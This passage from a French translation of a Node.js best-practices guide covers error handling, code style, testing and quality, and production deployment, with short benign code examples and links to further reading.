surveillance et de performance (alias GPA, APM en anglais : application performance management) évaluent de manière proactive votre base de code ou votre API afin qu'ils puissent mettre en évidence automatiquement les erreurs, les plantages et les parties lentes qui vous ont échappé.\n\n**Autrement :** Vous pourriez consacrer beaucoup d'efforts à mesurer les performances et les indisponibilités de l'API, vous ne saurez probablement jamais quelles sont vos parties de code les plus lentes dans le scénario du monde réel et comment celles-ci affectent l'expérience utilisateur.\n\n🔗 [**Plus d'infos : utilisation des produits GPA**](./sections/errorhandling/apmproducts.french.md)\n\n<br/><br/>\n\n## ![✔] 2.10 Capturez les rejets de promesses non gérés\n\n**TL;PL :** Toute exception levée dans une promesse sera absorbée et écartée à moins qu'un développeur n'ait pas oublié de le traiter explicitement. Même si votre code est abonné à `process.uncaughtException` ! Surmontez cela en vous inscrivant à l'événement `process.unhandledRejection`.\n\n**Autrement :** Vos erreurs seront absorbées et ne laisseront aucune trace. Il n'y a pas de quoi s'inquiéter.\n\n🔗 [**Plus d'infos : capturez les rejets de promesses non gérés**](./sections/errorhandling/catchunhandledpromiserejection.french.md)\n\n<br/><br/>\n\n## ![✔] 2.11 Échouez rapidement, valider les arguments à l'aide d'une bibliothèque dédiée\n\n**TL;PL :** Contrôlez les arguments de l'API pour éviter les bugs désagréables qui sont beaucoup plus difficiles à suivre plus tard. Le code de validation est généralement fastidieux, sauf si vous utilisez une bibliothèque d'aide très cool comme [ajv](https://www.npmjs.com/package/ajv) et [Joi](https://www.npmjs.com/package/joi).\n\n**Autrement :** Considérez ceci - votre fonction attend un argument numérique « Discount » que l'appelant oublie de passer, plus loin dans le code, il vérifie si Discount!= 0 (le montant de la remise autorisée est supérieur à zéro), ensuite le code permet à l'utilisateur de profiter d'un remise. OMG, quel méchant bug. Le vois-tu ?\n\n🔗 [**Plus d'infos : échec rapide**](./sections/errorhandling/failfast.french.md)\n\n<br/><br/>\n\n## ![✔] 2.12 Attendez toujours les promesses avant de retourner afin d'éviter des traces de pile partielles\n\n**TL;PL :** Faites toujours `return await` lorsque vous retournez une promesse afin de bénéficier d'une trace de pile complète. Si une\nfonction retourne une promesse, cette fonction doit être déclarée comme fonction `async` et explicitement\nattendre (`await`) la promesse avant de la retourner.\n\n**Autrement :** La fonction qui retourne une promesse sans attendre n'apparaîtra pas dans la trace de la pile.\nDe telles trames manquantes compliqueraient probablement la compréhension du flux qui conduit à l'erreur,\nsurtout si la cause du comportement anormal se situe à l'intérieur de la fonction manquante\n\n🔗 [**Plus d'infos : le retour des promesses**](./sections/errorhandling/returningpromises.french.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-des-matières\">⬆ Retourner en haut de la page</a></p>\n\n# `3. Style du code`\n\n## ![✔] 3.1 Utilisez ESLint\n\n**TL;PL :** [ESLint](https://eslint.org) est la norme de facto pour vérifier d'éventuelles erreurs de code et pour corriger le style du code, ce n'est pas uniquement pour identifier les problèmes d'espacement mais aussi pour détecter les antipatterns préoccupants du code comme par exemple les développeurs levant des erreurs sans classification. Bien qu'ESLint puisse corriger automatiquement les styles du code, d'autres outils comme [prettier](https://www.npmjs.com/package/prettier) et [beautify](https://www.npmjs.com/package/js-beautify) sont plus puissants dans le formatage de la correction et fonctionnent en collaboration avec ESLint.\n\n**Autrement :** Les développeurs se concentreront sur les problèmes fastidieux d'espacement et de largeur de ligne, ce qui pourrait faire perdre du temps à trop réfléchir sur le style de code du projet.\n\n🔗 [**Plus d'infos : Utilisez ESLint et Prettier**](./sections/codestylepractices/eslint_prettier.french.md)\n\n<br/><br/>\n\n## ![✔] 3.2 Plugins spécifiques à Node.js\n\n**TL;PL :** En plus des règles standard ESLint couvrant JavaScript vanilla, ajoutez des plugins spécifiques à Node.js comme [eslint-plugin-node](https://www.npmjs.com/package/eslint-plugin-node), [eslint-plugin-mocha](https://www.npmjs.com/package/eslint-plugin-mocha) et [eslint-plugin-node-security](https://www.npmjs.com/package/eslint-plugin-security).\n\n**Autrement :** De nombreux modèles de code Node.js défectueux peuvent s'échapper des radars. Par exemple, les développeurs pourrait exiger des fichiers avec une variable donnée comme un chemin d'accès (`require(variableCommeChemin)`) qui permet aux attaquants d'exécuter n'importe quel script JS. Les linters de Node.js peuvent détecter de tels modèles et se plaindre en amont.\n\n<br/><br/>\n\n## ![✔] 3.3 Commencez les accolades d'un bloc de code sur la même ligne\n\n**TL;PL :** Les accolades ouvrantes d'un bloc de code doivent être sur la même ligne que l'instruction d'ouverture.\n\n### Code Example\n\n```javascript\n// À faire\nfunction someFunction() {\n  // bloc de code\n}\n\n// À éviter\nfunction someFunction\n{\n  // bloc de code\n}\n```\n\n**Autrement :** Le non-respect de cette bonne pratique peut conduire à des résultats inattendus, comme le montre la discussion de StackOverflow ci-dessous :\n\n🔗 [**Plus d'infos :** « Pourquoi les résultats varient-ils en fonction du placement des accolades ? » (StackOverflow)](https://stackoverflow.com/questions/3641519/why-does-a-results-vary-based-on-curly-brace-placement)\n\n<br/><br/>\n\n## ![✔] 3.4 Séparez correctement vos instructions\n\nPeu importe si vous utilisez les points-virgules ou non pour séparer vos instructions, le fait de connaître les pièges courants des sauts de ligne incorrects ou de l'insertion automatique de points-virgules, vous aidera à éliminer les erreurs syntaxiques habituelles.\n\n**TL;PL :** Utilisez ESLint pour vous sensibiliser aux problèmes de séparation. [Prettier](https://prettier.io/) ou [Standardjs](https://standardjs.com/) peuvent résoudre automatiquement ces problèmes.\n\n**Autrement :** Comme vu dans la section précédente, l'interpréteur JavaScript ajoute automatiquement un point-virgule à la fin d'une instruction s'il n'y en a pas, ou considère une instruction comme non terminée là où elle devrait, ce qui pourrait conduire à des résultats indésirables. Vous pouvez utiliser des affectations et éviter d'utiliser des expressions de fonction invoquées immédiatement pour éviter la plupart des erreurs inattendues.\n\n### Exemple de code\n\n```javascript\n// À faire\nfunction doThing() {\n    // ...\n}\n\ndoThing()\n\n// À faire\n\nconst items = [1, 2, 3]\nitems.forEach(console.log)\n\n// À éviter — lève une exception\nconst m = new Map()\nconst a = [1,2,3]\n[...m.values()].forEach(console.log)\n> [...m.values()].forEach(console.log)\n>  ^^^\n> SyntaxError: Unexpected token ...\n\n// À éviter — lève une exception\nconst count = 2 // il essaie d'exécuter 2(), mais 2 n'est pas une fonction\n(function doSomething() {\n  // faire quelque chose d'incroyable\n}())\n// placez un point-virgule avant la fonction immédiatement invoquée, après la définition de const, enregistrez la valeur de retour de la fonction anonyme dans une variable ou évitez tous les IIFE\n```\n\n🔗 [**Plus d'infos :** « Règle de ESLint : points-virgules »](https://eslint.org/docs/rules/semi)\n🔗 [**Plus d'infos :** « Règle de ESLint : pas de multiligne inattendue »](https://eslint.org/docs/rules/no-unexpected-multiline)\n\n<br/><br/>\n\n## ![✔] 3.5 Nommez vos fonctions\n\n**TL;PL :** Nommez toutes les fonctions, y compris les fermetures _(closures, NdT)_ et les fonctions de rappel. Évitez les fonctions anonymes. Cela est particulièrement utile lors du profilage d'une application de Node. Nommer toutes les fonctions vous permettra de comprendre facilement ce que vous regardez lors de la vérification d'un instantané de mémoire _(snapshot memory, NdT)_.\n\n**Autrement :** Le débogage des problèmes de production à l'aide d'un vidage de mémoire (instantané de mémoire) peut devenir difficile lorsque vous remarquez une consommation de mémoire importante de la part de fonctions anonymes.\n\n<br/><br/>\n\n## ![✔] 3.6 Utilisez des conventions de nommage pour les variables, les constantes, les fonctions et les classes\n\n**TL;PL :** Utilisez **_LowerCamelCase_** lorsque vous nommez des constantes, des variables et des fonctions et **_UpperCamelCase_** (première lettre en majuscule également) lorsque vous nommez des classes. Cela vous aidera à distinguer facilement les simples variables/fonctions et les classes qui nécessitent une instanciation. Utilisez des noms évocateurs, mais efforcez-vous de les garder concis.\n\n**Autrement :** JavaScript est le seul langage au monde qui permet d'invoquer directement un constructeur (« Class ») sans l'instancier au préalable. Par conséquent, les classes et les fonctions-constructeurs sont différenciés en commençant par UpperCamelCase.\n\n### 3.6 Exemple de code\n\n```javascript\n// pour le nom d'une classe, nous utilisons UpperCamelCase\nclass SomeClassExample {}\n\n// pour les noms de constantes, nous utilisons le mot-clé const et lowerCamelCase\nconst config = {\n  key: \"value\",\n};\n\n// pour les noms de variables et de fonctions, nous utilisons lowerCamelCase\nlet someVariableExample = \"value\";\nfunction doSomething() {}\n```\n\n<br/><br/>\n\n## ![✔] 3.7 Préférez const à let. Laissez tomber le var\n\n**TL;PL :** L'utilisation de `const` signifie qu'une fois qu'une variable est affectée, elle ne peut pas être réaffectée. Préférer `const` vous aidera à ne pas être tenté d'utiliser la même variable pour différentes utilisations et rendra votre code plus clair. Si une variable doit être réaffectée, par exempledans une boucle for, utilisez `let` pour la déclarer. Un autre aspect important de `let` est qu'une variable déclarée l'utilisant n'est disponible que dans la portée du bloc dans laquelle elle a été définie. `var` est une portée de fonction, pas une portée de bloc, et [ne devrait pas être utilisé en ES6](https://hackernoon.com/why-you-shouldnt-use-var-anymore-f109a58b9b70) maintenant que vous avez `const` et `let` à votre disposition.\n\n**Autrement :** Le débogage devient beaucoup plus lourd lorsque vous suivez une variable qui change fréquemment.\n\n🔗 [**Plus d'infos : JavaScript ES6+ : var, let, ou const ?** ](https://medium.com/javascript-scene/javascript-es6-var-let-or-const-ba58b8dcde75)\n\n<br/><br/>\n\n## ![✔] 3.8 Utilisez en premier require pour les modules, pas dans des fonctions internes\n\n**TL;PL :** Utilisez au début de chaque fichier `require` pour les modules, avant et en dehors de toute fonction. Cette bonne pratique simple vous aidera non seulement à identifier facilement et rapidement les dépendances en haut d'un fichier, mais évite également quelques problèmes potentiels.\n\n**Autrement :** Les `require` sont exécutées de manière synchrone par Node.js. S'ils sont appelés depuis une fonction, cela peut empêcher le traitement d'autres demandes à un moment plus critique. De plus, si un module requis ou l'une de ses dépendances lance une erreur et plante le serveur, il est préférable de le découvrir le plus tôt possible, ce qui pourrait ne pas être le cas si ce module est requis depuis une fonction.\n\n<br/><br/>\n\n## ![✔] 3.9 Exiger les modules par leurs dossiers, contrairement à l'appel direct aux fichiers\n\n**TL;PL :** Lorsque vous développez un module/bibliothèque dans un dossier, placez un fichier index.js qui expose les composants internes du module afin que chaque utilisateur puisse y accéder. Cela sert d '« interface » à votre module et facilite les modifications futures sans rompre le contrat.\n\n**Autrement :** La modification de la structure interne des fichiers ou de la signature peut rompre l'interface avec les clients.\n\n### 3.9 Exemple de code\n\n```javascript\n// À faire\nmodule.exports.SMSProvider = require(\"./SMSProvider\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver\");\n\n// À éviter\nmodule.exports.SMSProvider = require(\"./SMSProvider/SMSProvider.js\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver/SMSNumberResolver.js\");\n```\n\n<br/><br/>\n\n## ![✔] 3.10 Utilisez l'opérateur `===`\n\n**TL;PL :** Préférez l'opérateur d'égalité stricte `===` à l'opérateur d'égalité abstraite plus faible `==`. `==` comparera deux variables après les avoir converties en un type commun. Il n'y a pas de conversion de type dans `===`, et les deux variables doivent être du même type pour être égales.\n\n**Autrement :** Les variables inégales peuvent renvoyer true avec l'opérateur `==`.\n\n### 3.10 Exemple de code\n\n```javascript\n\"\" == \"0\"; // false\n0 == \"\"; // true\n0 == \"0\"; // true\n\nfalse == \"false\"; // false\nfalse == \"0\"; // true\n\nfalse == undefined; // false\nfalse == null; // false\nnull == undefined; // true\n\n\" \\t\\r\\n \" == 0; // true\n```\n\nToutes les déclarations ci-dessus renverront false si elles sont utilisées avec `===`\n\n<br/><br/>\n\n## ![✔] 3.11 Utilisez Async Await, évitez les fonctions de rappel\n\n**TL;PL :** Node 8 LTS prend désormais entièrement en charge Async-wait. Il s'agit d'une nouvelle façon de gérer le code asynchrone qui remplace les fonctions de rappel et les promesses. L'attente asynchrone n'est pas bloquante et rend le code asynchrone synchrone. Le meilleur cadeau que vous puissiez faire à votre code est d'utiliser async-wait qui fournit une syntaxe de code beaucoup plus compacte et familière comme try-catch.\n\n**Autrement :** La gestion des erreurs asynchrones dans le style des fonctions de rappel est probablement le chemin le plus rapide vers l'enfer - ce style oblige de vérifier les erreurs partout, à gérer les imbrications de code gênantes et rend difficile la compréhension du flux du code.\n\n🔗[**Plus d'infos :** guide pour async-await 1.0](https://github.com/yortus/asyncawait)\n\n<br/><br/>\n\n## ![✔] 3.12 Utiliser les expressions de fonction fléchée (=>)\n\n**TL;PL :** Bien qu'il soit recommandé d'utiliser async-wait et d'éviter les paramètres de fonction lorsque vous traitez avec des API plus anciennes qui acceptent des promesses ou des rappels - les fonctions fléchées rendent la structure de code plus compacte et gardent le contexte lexical de la fonction racine (c'est-à-dire `this`).\n\n**Autrement :** Un code plus long (dans les fonctions ES5) est plus sujet aux bogues et lourd à lire.\n\n🔗 [**Plus d'infos : il est temps d'adopter les fonctions fléchées**](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-des-matières\">⬆ Retourner en haut de la page</a></p>\n\n# `4. Tests et pratiques générales de qualité`\n\n## ![✔] 4.1 Au minimum, écrivez des tests API (pour chaque composant)\n\n**TL;PL :** La plupart des projets n'ont tout simplement pas de test automatisé en raison de délais courts ou souvent le « projet de test » est devenu incontrôlable et a été abandonné. Pour cette raison, priorisez et commencez par les tests d'API, qui est le moyen le plus simple d'écrire et qui offre plus de couverture que les tests unitaires (vous pouvez même créer des tests d'API sans code à l'aide d'outils comme [Postman](https://www.getpostman.com/)). Par la suite, si vous avez plus de ressources et de temps, continuez avec des types de tests avancés tels que les tests unitaires, les tests DB (base de données), les tests de performances, etc.\n\n**Autrement :** Vous pouvez passer de longues journées à écrire des tests unitaires pour découvrir que vous n'avez qu'une couverture système de 20%\n\n<br/><br/>\n\n## ![✔] 4.2 Incluez 3 parties dans chaque nom de test\n\n**TL;PL :** Donnez un nom de test éloquent selon son niveau d'exigences pour qu'il soit compréhensible par les ingénieurs et développeurs de l'assurance qualité qui ne sont pas familiers avec les codes internes. Indiquez dans le nom du test ce qui est testé (élément du test), dans quelles circonstances et quel est le résultat attendu.\n\n**Autrement :** Un déploiement vient d'échouer, un test nommé « Ajoute un produit » a échoué. Cela vous indique-t-il exactement ce qui ne fonctionne pas correctement ?\n\n🔗[**Plus d'infos : incluez 3 parties dans chaque nom de test**](./sections/testingandquality/3-parts-in-name.french.md)\n\n<br/><br/>\n\n## ![✔] 4.3 Structurez vos tests avec le format AAA\n\n**TL;PL :** Structurez vos tests avec 3 sections bien séparées : Arrange, Act & Assert (AAA). La première partie comprend la configuration du test, puis l'exécution de l'unité testée et enfin la phase d'assertion (vérification). Le respect de cette structure garantit que le lecteur n'utilise pas de le CPU de son cerveau pour comprendre le plan de test.\n\n**Autrement :** Non seulement vous passez de longues heures par jour à comprendre le code principal, mais maintenant, ce qui aurait dû être la partie la plus simple de la journée (les tests) accroche votre cerveau\n\n🔗[**Plus d'infos : structurez vos tests avec le format AAA**](./sections/testingandquality/aaa.french.md)\n\n<br/><br/>\n\n## ![✔] 4.4 Détectez les problèmes de code avec un linter\n\n**TL;PL :** Utilisez un linter de code pour vérifier la qualité et détecter les antipatterns au plus tôt. Exécutez-le avant les tests et ajoutez-le en tant que git-hook de pré-commit pour diminuer le temps nécessaire pour examiner et corriger tout problème. Vérifiez également la [section 3](#3-style-du-code) sur les pratiques de style de code.\n\n**Autrement :** Vous pouvez laisser passer un code antipatterns et éventuellement vulnérable sur votre environnement de production.\n\n<br/><br/>\n\n## ![✔] 4.5 Évitez les tests globaux, ajoutez des données pour chaque test\n\n**TL;PL :** Pour éviter le chevauchement de test et expliquer facilement le déroulement du test, chaque test doit ajouter et agir sur son propre ensemble d'enregistrement de la base de données. Chaque fois qu'un test a besoin de récupérer ou de présumer l'existence de certaines données de la BD - il doit explicitement ajouter ces données et éviter de modifier tout autre enregistrement.\n\n\\***\\*Autrement :** Considérez un scénario où le déploiement est interrompu à cause de l'échec des tests, l'équipe va maintenant passer un temps d'investigation précieux qui se terminera par une triste conclusion : le système fonctionne bien, les tests interfèrent cependant les uns avec les autres et interrompent la construction.\n\n🔗[**Plus d'infos : évitez les tests globaux, ajoutez des données pour chaque test**](./sections/testingandquality/avoid-global-test-fixture.french.md)\n\n<br/><br/>\n\n## ![✔] 4.6 Inspectez en permanence les dépendances vulnérables\n\n**TL;PL :** Même les dépendances les plus réputées telles qu'Express ont des vulnérabilités connues. Cela peut être facilement apprivoisé à l'aide d'outils communautaires et commerciaux tels que 🔗 [npm audit](https://docs.npmjs.com/cli/audit) et 🔗 [snyk.io](https://snyk.io) qui peuvent être appelé depuis votre CI pour chaque construction.\n\n**Autrement :** Garder votre code propre contre les vulnérabilités sans outils dédiés nécessitera de suivre en permanence les publications en ligne sur les nouvelles menaces. C'est assez fastidieux.\n\n<br/><br/>\n\n## ![✔] 4.7 Étiquetez vos tests\n\n**TL;PL :** Différents tests doivent s'exécuter selon différents scénarios : test d'intégrité, sans IO, les tests doivent s'exécuter lorsqu'un développeur enregistre ou commit un fichier, les tests complets de bout en bout s'exécutent généralement lorsqu'une nouvelle « pull request » est soumise, etc. Cela peut être réalisé en étiquetant les tests avec des mots clés comme #IO #api #integrite afin que vous puissiez utiliser votre harnais de test et invoquer le sous-ensemble souhaité. Par exemple, voici comment vous invoqueriez uniquement le groupe de test d'intégrité avec [Mocha](https://mochajs.org/) : mocha --grep 'sanity'\n\n**Autrement :** Exécutez tous les tests, y compris les tests qui effectuent des dizaines de requêtes sur la base de données, chaque fois qu'un développeur apporte un petit changement, cela peut être extrêmement lent et souvent les développeurs s'abstiennent de faire des tests.\n\n<br/><br/>\n\n## ![✔] 4.8 Vérifiez votre couverture de test, cela aide à identifier les mauvaises conception de test\n\n**TL;PL :** Les outils de couverture de code comme [Istanbul](https://github.com/istanbuljs/istanbuljs)/[NYC](https://github.com/istanbuljs/nyc) sont parfaits pour 3 raisons : ils sont gratuits (aucun effort n'est nécessaire pour bénéficier de ces rapports), ils aident à identifier une diminution de la couverture des tests, et enfin et surtout, ils mettent en évidence les incompatibilités de test : en regardant les rapports de couverture de code en couleur, vous remarquerez peut-être, par exemple, des zones de code qui ne sont jamais testées comme les clauses catch (ce qui signifie que les tests invoquent uniquement les chemins positifs et non le comportement de l'application en cas d'erreur). Configurez-les pour faire échouer les constructions si la couverture tombe sous un certain seuil.\n\n**Autrement :** Il n'y aura aucune mesure automatisée vous indiquant quand une grande partie de votre code n'est pas couverte par les tests\n\n<br/><br/>\n\n## ![✔] 4.9 Inspectez les paquets obsolètes\n\n**TL;PL :** Utilisez votre outil préféré (par exemple, `npm outdated` ou [npm-check-updates](https://www.npmjs.com/package/npm-check-updates)) pour détecter les paquets installés qui sont obsolètes, injectez cette vérification dans votre CI et même faites échouer une construction dans un scénario critique. Par exemple, un scénario critique peut se produire lorsqu'un paquet installé a 5 patchs de retard (par exemple, la version locale est 1.3.1 et la version du référentiel est 1.3.8) ou quand il est marqué comme obsolète par son auteur - stoppez la construction et empêchez le déploiement de cette version.\n\n**Autrement :** Votre production exécutera des paquets qui ont été explicitement étiquetés par leur auteur comme risqués.\n\n<br/><br/>\n\n## ![✔] 4.10 Utilisez pour les tests e2e un environnement proche de la production\n\n**TL;PL :** Les tests de bout en bout (e2e) qui comprennent l'utilisation de données en direct sont les maillons les plus faibles du processus du CI car ils dépendent de plusieurs services complexes comme la base de données. Utilisez un environnement de test continue aussi proche que possible de votre production actuelle. (Un oubli pour continue ici. A en juger par la clause **Autrement**, cela devrait mentionner docker-compose)\n\n**Autrement :** Sans docker-compose, les équipes doivent maintenir une base de données de test pour chaque environnement de test, y compris les machines des développeurs, garder toutes ces bases de données synchronisées afin que les résultats des tests ne varient pas d'un environnement à l'autre.\n\n<br/><br/>\n\n## ![✔] 4.11 Refactorisez régulièrement à l'aide d'outils d'analyse statique\n\n**TL;PL :** L'utilisation d'outils d'analyse statique vous aide en donnant des moyens concrets d'améliorer la qualité du code et permet de maintenir votre code. Vous pouvez ajouter des outils d'analyse statique à votre CI pour échouer lorsqu'il trouve du code incorrect. Ses principaux arguments de vente par rapport au contrôle ordinaire de code sont la capacité d'inspecter la qualité dans le contexte de plusieurs fichiers (par exemple, détecter les doublons), d'effectuer une analyse avancée (par exemple la complexité du code) et de suivre l'historique et la progression des problèmes de code. Deux exemples d'outils que vous pouvez utiliser sont [Sonarqube](https://www.sonarqube.org/) (+ de 2 600 [étoiles](https://github.com/SonarSource/sonarqube)) et [Code Climate](https://codeclimate.com/) (+ de 1 500 [étoiles](https://github.com/codeclimate/codeclimate)).\n\n**Autrement :** Avec une mauvaise qualité de code, les bogues et les performances seront toujours un problème qu'aucune nouvelle bibliothèque brillante ou fonctionnalité de pointe ne peut résoudre.\n\n🔗[**Plus d'infos: refactorisation !**](./sections/testingandquality/refactoring.french.md)\n\n<br/><br/>\n\n## ![✔] 4.12 Choisissez soigneusement votre plateforme CI (Jenkins vs CircleCI vs Travis vs Rest of the world)\n\n**TL;PL :** Votre plateforme d'intégration continue (CICD) hébergera tous les outils de qualité (par exemple test, lint), elle devrait donc être accompagnée d'un écosystème dynamique de plugins. [Jenkins](https://jenkins.io/) était utilisé par défaut pour de nombreux projets car il a la plus grande communauté avec une plateforme très puissante au prix d'une configuration complexe qui nécessite une courbe d'apprentissage abrupte. De nos jours, il est devenu beaucoup plus facile de mettre en place une solution CI en utilisant des outils SaaS comme [CircleCI](https://circleci.com) et d'autres. Ces outils permettent de créer un pipeline de CI flexible sans avoir à gérer l'ensemble de l'infrastructure. Finalement, c'est un compromis entre robustesse et rapidité - choisissez votre camp avec soin.\n\n**Autrement :** Le choix d'un fournisseur de niche peut vous bloquer une fois que vous aurez besoin d'une personnalisation avancée. En revanche, faire appel à Jenkins pourrait vous faire perdre un temps précieux à la mise en place de l'infrastructure.\n\n🔗[**Plus d'infos : choisissez soigneusement votre plateforme CI**](./sections/testingandquality/citools.french.md)\n\n## ![✔] 4.13 Testez vos middlewares de manière isolée\n\n**TL;PL :** Lorsqu'un middleware contient une logique immense qui couvre de nombreuses requêtes, cela vaut la peine de le tester de manière isolée sans réveiller l'ensemble du framework du web. Cela peut être facilement réalisé en espionnant les objets {req, res, next}.\n\n**Autrement :** Un bogue dans le middleware Express === un bogue dans toutes ou la plupart des requêtes\n\n🔗 [**Plus d'infos : testez vos middlewares de manière isolée**](./sections/testingandquality/test-middlewares.french.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-des-matières\">⬆ Retourner en haut de la page</a></p>\n\n# `5. Pratiques de mise en production`\n\n## ![✔] 5.1. Surveillance\n\n**TL;PL :** La surveillance est un jeu qui consiste à découvrir les problèmes avant que les clients ne les trouvent - il est évident qu'il faut accorder une importance sans précédent à cette question. Le marché est submergé d'offres, pensez donc à commencer par définir les mesures de base que vous devez suivre (mes suggestions à l'intérieur), puis passez en revue les fonctionnalités supplémentaires et choisissez la solution qui coche toutes les cases. Cliquez sur « l'essentiel » ci-dessous pour un aperçu des solutions.\n\n**Autrement :** Échec === clients déçus. C'est simple.\n\n🔗 [**Plus d'infos : surveillance !**](./sections/production/monitoring.french.md)\n\n<br/><br/>\n\n## ![✔] 5.2. Augmentez la clarté à l'aide de la journalisation intelligente\n\n**TL;PL :** Les journaux peuvent être un stupide inventaire de relevés de débogage ou le facilitateur d'un magnifique tableau de bord qui raconte l'histoire de votre application. Prévoyez votre plateforme de journalisation dès le premier jour : comment les logs sont collectés, stockés et analysés pour s'assurer que les informations souhaitées (par exemple le taux d'erreur, le suivi d'une transaction complète via des services et des serveurs, etc.) peuvent réellement être exploitées.\n\n**Autrement :** Vous vous retrouvez avec une boîte noire qui est difficile à analyser, puis vous commencez à réécrire toutes les instructions de journalisation pour ajouter des informations supplémentaires.\n\n🔗 [**Plus d'infos : augmentez la clarté à l'aide de la journalisation intelligente**](./sections/production/smartlogging.french.md)\n\n<br/><br/>\n\n## ![✔] 5.3. Déléguez tout ce qui est possible (par exemple gzip, SSL) à un proxy inverse\n\n**TL;PL :** Node est terriblement mauvais pour faire des tâches gourmandes en CPU comme la compression avec gzip, terminaison SSL, etc. Vous devriez utiliser à la place des services de middleware « réels » comme nginx, HAproxy ou des services de fournisseurs du cloud.\n\n**Autrement :** Votre pauvre processus restera occupé à faire des tâches d'infrastructure au lieu de s'occuper du cœur de votre application et les performances se dégraderont en conséquence.\n\n🔗 [**Plus d'infos : déléguez tout ce qui est possible (par exemple gzip, SSL) à un proxy inverse**](./sections/production/delegatetoproxy.french.md)\n\n<br/><br/>\n\n## ![✔] 5.4. Verrouillez les dépendances\n\n**TL;PL :** Votre code doit être identique dans tous les environnements, mais étonnamment npm laisse les dépendances fluctuer entre les environnements par défaut - lorsque vous installez des paquets dans différents environnements, il essaie de récupérer la dernière version du patch des paquets. Surmontez cela en utilisant les fichiers de configuration de npm, .npmrc, qui indiquent à chaque environnement de sauvegarder la version exacte (et non la dernière) de chaque paquet. Alternativement, pour un contrôle plus fin, utilisez `npm shrinkwrap`. \\*Mise à jour : à partir de NPM5, les dépendances sont verrouillées par défaut. Le nouveau gestionnaire de paquets en place, Yarn, nous a aussi fourni une couverture par défaut.\n\n**Autrement :** Le service qualité testera le code de manière approfondie et approuvera une version qui se comportera différemment en production. Pire encore, différents serveurs dans le même cluster de production peuvent exécuter un code différent.\n\n🔗 [**Plus d'infos : verrouillez les dépendances**](./sections/production/lockdependencies.french.md)\n\n<br/><br/>\n\n## ![✔] 5.5. Protégez la disponibilité du processus avec des bons outils\n\n**TL;PL :** Le processus doit continuer et être redémarré en cas d'échec. Pour des scénarios simples, des outils de gestion de processus comme PM2 peuvent suffire, mais dans le monde « dockérizé » d'aujourd'hui, les outils de gestion de cluster doivent également être pris en compte.\n\n**Autrement :** L'exécution simultanée de dizaines d'instances sans stratégie claire et trop d'outils (gestion de cluster, docker, PM2) pourrait conduire au chaos du DevOps.\n\n🔗 [**Plus d'infos : protégez la disponibilité du processus avec des bons outils**](./sections/production/guardprocess.french.md)\n\n<br/><br/>\n\n## ![✔] 5.6. Utilisez tous les cœurs du CPU\n\n**TL;PL :** Dans sa forme de base, une application Node fonctionne sur un seul cœur de CPU alors que tous les autres sont laissés au repos. Il est de votre devoir de répliquer le processus Node et d'utiliser tous les CPU - Pour les petites et moyennes applications, vous pouvez utiliser Node Cluster ou PM2. Pour une application plus grande, pensez à répliquer le processus à l'aide d'un cluster Docker (par exemple K8S, ECS) ou des scripts de déploiement basés sur le système d'initialisation Linux (par exemple systemd).\n\n**Autrement :** Votre application n'utilisera probablement que 25% de ses ressources disponibles (!) ou même moins. Notez qu'un serveur typique possède 4 cœurs CPU ou plus, le déploiement naïf de Node.js n'en utilise qu'un (même en utilisant des services PaaS comme AWS beanstalk !)\n\n🔗 [**Plus d'infos : utilisez tous les cœurs du CPU**](./sections/production/utilizecpu.french.md)\n\n<br/><br/>\n\n## ![✔] 5.7. Créez un « point de terminaison de maintenance »\n\n**TL;PL :** Exposez dans une API sécurisée un ensemble d'informations liées au système, comme l'utilisation de la mémoire et le REPL, etc. Bien qu'il soit fortement recommandé de s'appuyer sur des outils standard et éprouvés au combat, certaines informations et opérations précieuses sont plus faciles à utiliser à l'aide de code.\n\n**Autrement :** Vous constaterez que vous effectuez de nombreuses « livraisons de diagnostics » - la livraison de code vers la production uniquement pour extraire des informations à des fins de diagnostic.\n\n🔗 [**Plus d'infos : créez un « point de terminaison de maintenance »**](./sections/production/createmaintenanceendpoint.french.md)\n\n<br/><br/>\n\n## ![✔] 5.8. Découvrez les erreurs et les indisponibilités à l'aide des produits APM\n\n**TL;PL :** Les produits de surveillance et de performance des applications (a.k.a APM) mesurent de manière proactive la base de code et l'API afin qu'ils puissent aller automatiquement au-delà de la surveillance traditionnelle et mesurer l'expérience utilisateur globale à travers les services et les tiers. Par exemple, certains produits APM peuvent mettre en évidence une transaction qui se charge trop lentement du côté des utilisateurs finaux tout en suggérant la cause principale.\n\n**Autrement :** Vous pourriez consacrer beaucoup d'efforts à mesurer les performances et l'indisponibilité de l'API, vous ne saurez probablement jamais quelles sont vos parties de code les plus lentes dans le scénario du monde réel et comment celles-ci affectent l'expérience utilisateur.\n\n🔗 [**Plus d'infos : découvrez les erreurs et les indisponibilités à l'aide des produits APM**](./sections/production/apmproducts.french.md)\n\n<br/><br/>\n\n## ![✔] 5.9. Préparez votre code pour la production\n\n**TL;PL :** Codez en pensant à la solution définitive, planifiez la production dès le premier jour. Cela semble un peu vague, j'ai donc compilé quelques conseils de développement qui sont étroitement liés à la maintenance de la production (cliquez sur l'essentiel ci-dessous)\n\n**Autrement :** Même le champion du monde Architecte/DevOps ne sauvera pas un système mal écrit.\n\n🔗 [**Plus d'infos : préparez votre code pour la production**](./sections/production/productioncode.french.md)\n\n<br/><br/>\n\n## ![✔] 5.10. Mesurez et protégez l'utilisation de la mémoire\n\n**TL;PL :** Node.js a des relations controversées avec la mémoire : le moteur v8 a de faibles limites sur l'utilisation de la mémoire (1.4GB) et il y a des moyens connus pour faire fuir la mémoire dans le code de Node - donc surveiller la mémoire du processus de Node est une chose indispensable. Dans les petites applications, vous pouvez mesurer la mémoire périodiquement en utilisant des commandes shell mais dans les applications de taille moyenne, vous pouvez envisager de faire de votre surveillance mémoire via un système de surveillance robuste.\n\n**Autrement :** La mémoire de votre processus peut fuir une centaine de mégaoctets par jour, comme cela s'est produit chez [Walmart](https://www.joyent.com/blog/walmart-node-js-memory-leak)\n\n🔗 [**Plus d'infos : mesurez et protégez l'utilisation de la mémoire**](./sections/production/measurememory.french.md)\n\n<br/><br/>\n\n## ![✔] 5.11. Retirez vos ressources frontend de Node\n\n**TL;PL :** Servez le contenu du frontend en utilisant un middleware dédié (nginx, S3, CDN) parce que les performances de Node sont vraiment 